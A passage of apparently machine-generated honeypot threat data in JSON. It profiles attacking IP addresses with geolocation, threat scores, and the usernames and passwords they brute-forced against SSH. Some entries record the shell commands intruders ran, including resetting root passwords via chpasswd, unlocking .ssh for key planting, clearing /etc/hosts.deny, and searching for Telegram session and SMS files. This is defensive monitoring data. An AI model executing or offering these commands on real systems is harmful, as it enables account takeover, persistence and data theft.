        "oracle27",
        "password123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abc123!@\\nGppswluELixn\\nGppswluELixn\\n\"|passwd",
        "echo -e \"abc123!@\\nGppswluELixn\\nGppswluELixn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 4657,
      "as_org": "StarHub Ltd",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T14:51:32.879000+00:00",
        "last_seen_30d": "2026-04-03T15:53:43.999000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 64
      }
    },
    "113.230.101.179": {
      "attack_count": 132,
      "first_seen": "2026-04-12T04:34:31.216Z",
      "last_seen": "2026-04-12T04:39:40.200Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T04:34:31.216000+00:00",
        "last_seen_30d": "2026-04-12T04:40:42.006000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 67
      }
    },
    "196.92.7.246": {
      "attack_count": 81,
      "first_seen": "2026-04-17T21:19:06.927Z",
      "last_seen": "2026-04-26T14:22:10.159Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "caduser",
        "loginuser",
        "omm",
        "user",
        "user7"
      ],
      "passwords_attempted": [
        "123456",
        "1234.password",
        "1qaz2wsx",
        "345gs5662d34",
        "BBzz000",
        "ZAQ1xsw2c",
        "caduser",
        "qazxswedc",
        "qwe.1234",
        "qwert1234",
        "qwerty1234@",
        "user7"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:19:06.927000+00:00",
        "last_seen_30d": "2026-04-26T14:23:19.607000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 81,
        "Suricata": 34
      }
    },
    "183.207.186.22": {
      "attack_count": 78,
      "first_seen": "2026-04-19T10:24:26.314Z",
      "last_seen": "2026-04-19T10:34:25.794Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1qwe",
        "3245gs5662d34",
        "345gs5662d34",
        "qazwsx123321!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GGr4ZWBINtnX\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:24:26.314000+00:00",
        "last_seen_30d": "2026-04-19T10:35:30.226000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 10
      }
    },
    "14.103.112.56": {
      "attack_count": 63,
      "first_seen": "2026-04-30T02:35:35.844Z",
      "last_seen": "2026-04-30T03:15:54.049Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "admin",
        "guest",
        "postgresql",
        "sysadmin",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "12qwsazx",
        "345gs5662d34",
        "abc#123",
        "guest1",
        "postgres",
        "sysadmin2023",
        "test"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T02:35:35.844000+00:00",
        "last_seen_30d": "2026-04-30T03:25:55.361000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 63,
        "Suricata": 40
      }
    },
    "45.153.34.108": {
      "attack_count": 63,
      "first_seen": "2026-04-30T03:44:29.061Z",
      "last_seen": "2026-04-30T17:30:50.274Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "hikvision",
        "postgres",
        "telecomadmin",
        "test",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "",
        "password",
        "root",
        "123456",
        "admin",
        "admintelecom",
        "hikvision",
        "postgres",
        "test",
        "ubnt",
        "user",
        "xc3511"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:44:29.061000+00:00",
        "last_seen_30d": "2026-04-30T17:40:56.046000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 63,
        "Suricata": 19
      }
    },
    "194.195.250.213": {
      "attack_count": 50,
      "first_seen": "2026-04-30T21:25:27.108Z",
      "last_seen": "2026-04-30T21:28:25.068Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:25:27.108000+00:00",
        "last_seen_30d": "2026-04-30T21:29:33.885000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.72.71": {
      "attack_count": 50,
      "first_seen": "2026-04-23T06:47:32.490Z",
      "last_seen": "2026-04-23T06:52:56.973Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T06:47:32.490000+00:00",
        "last_seen_30d": "2026-04-23T06:54:04.228000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "27.215.178.102": {
      "attack_count": 50,
      "first_seen": "2026-04-28T09:51:26.792Z",
      "last_seen": "2026-04-28T09:56:51.160Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhongshan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T09:51:26.792000+00:00",
        "last_seen_30d": "2026-04-28T09:57:56.818000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "181.50.102.104": {
      "attack_count": 48,
      "first_seen": "2026-04-28T05:12:35.366Z",
      "last_seen": "2026-04-28T05:44:53.024Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 10620,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T05:12:35.366000+00:00",
        "last_seen_30d": "2026-04-28T05:46:22.333000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 33
      }
    },
    "223.123.35.135": {
      "attack_count": 46,
      "first_seen": "2026-04-14T11:43:23.489Z",
      "last_seen": "2026-04-15T06:02:56.926Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhang Sadar",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.6,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T11:43:23.489000+00:00",
        "last_seen_30d": "2026-04-28T02:34:22.108000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 26
      }
    },
    "144.2.91.96": {
      "attack_count": 36,
      "first_seen": "2026-04-19T16:05:34.519Z",
      "last_seen": "2026-04-19T16:06:47.169Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Solothurn",
      "asn": 3303,
      "as_org": "Bluewin",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T16:05:34.519000+00:00",
        "last_seen_30d": "2026-04-19T16:07:54.505000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "47.11.115.47": {
      "attack_count": 24,
      "first_seen": "2026-04-27T04:28:00.382Z",
      "last_seen": "2026-04-27T04:36:06.243Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rajkot",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T04:28:00.382000+00:00",
        "last_seen_30d": "2026-04-27T04:37:09.416000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 14
      }
    },
    "77.90.185.37": {
      "attack_count": 23,
      "first_seen": "2026-04-10T12:25:04.361Z",
      "last_seen": "2026-04-15T16:52:52.096Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "admin"
      ],
      "passwords_attempted": [
        "Admin2026",
        "Passw0rd123@",
        "Test123",
        "Welcome!123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:25:04.361000+00:00",
        "last_seen_30d": "2026-04-15T16:53:55.594000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "78.17.40.175": {
      "attack_count": 20,
      "first_seen": "2026-04-03T14:19:16.826Z",
      "last_seen": "2026-04-03T14:20:57.353Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T14:19:16.826000+00:00",
        "last_seen_30d": "2026-04-03T14:22:05.730000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "164.90.166.126": {
      "attack_count": 17,
      "first_seen": "2026-04-19T12:47:45.939Z",
      "last_seen": "2026-04-19T12:47:54.547Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T12:47:45.939000+00:00",
        "last_seen_30d": "2026-04-19T12:48:57.634000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 13,
        "Honeytrap": 2
      }
    },
    "200.126.105.149": {
      "attack_count": 17,
      "first_seen": "2026-04-19T03:05:21.948Z",
      "last_seen": "2026-04-20T05:36:11.693Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Temuco",
      "asn": 14117,
      "as_org": "Telefonica del Sur S.A.",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T03:05:21.948000+00:00",
        "last_seen_30d": "2026-04-20T05:37:18.224000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 9
      }
    },
    "176.65.139.64": {
      "attack_count": 16,
      "first_seen": "2026-04-01T18:19:48.467Z",
      "last_seen": "2026-04-23T11:43:16.993Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 70.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4702,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T18:19:48.467000+00:00",
        "last_seen_30d": "2026-04-29T12:29:48.398000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3564,
        "Honeytrap": 1122,
        "Cowrie": 16
      }
    },
    "203.195.64.232": {
      "attack_count": 15,
      "first_seen": "2026-04-21T12:59:13.931Z",
      "last_seen": "2026-04-21T13:35:22.752Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "Abcd123#$",
        "qwert!",
        "ubuntu@2019"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T12:59:13.931000+00:00",
        "last_seen_30d": "2026-04-21T13:36:30.742000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 11
      }
    },
    "146.148.117.143": {
      "attack_count": 10,
      "first_seen": "2026-04-24T03:19:31.773Z",
      "last_seen": "2026-04-24T03:19:45.697Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:19:31.773000+00:00",
        "last_seen_30d": "2026-04-24T03:20:49.899000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "160.30.158.167": {
      "attack_count": 9,
      "first_seen": "2026-04-17T00:15:31.279Z",
      "last_seen": "2026-04-17T17:11:42.688Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 152978,
      "as_org": "PHB Digital Technology Solutions Company Limited",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T00:15:31.279000+00:00",
        "last_seen_30d": "2026-04-17T17:13:51.426000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "192.42.116.52": {
      "attack_count": 8,
      "first_seen": "2026-04-02T20:15:10.504Z",
      "last_seen": "2026-04-02T20:15:31.095Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T20:15:10.504000+00:00",
        "last_seen_30d": "2026-04-02T20:16:35.014000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "45.84.107.101": {
      "attack_count": 8,
      "first_seen": "2026-04-04T20:11:23.950Z",
      "last_seen": "2026-04-04T20:11:44.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 47.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T20:11:23.950000+00:00",
        "last_seen_30d": "2026-04-24T09:11:18.033000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
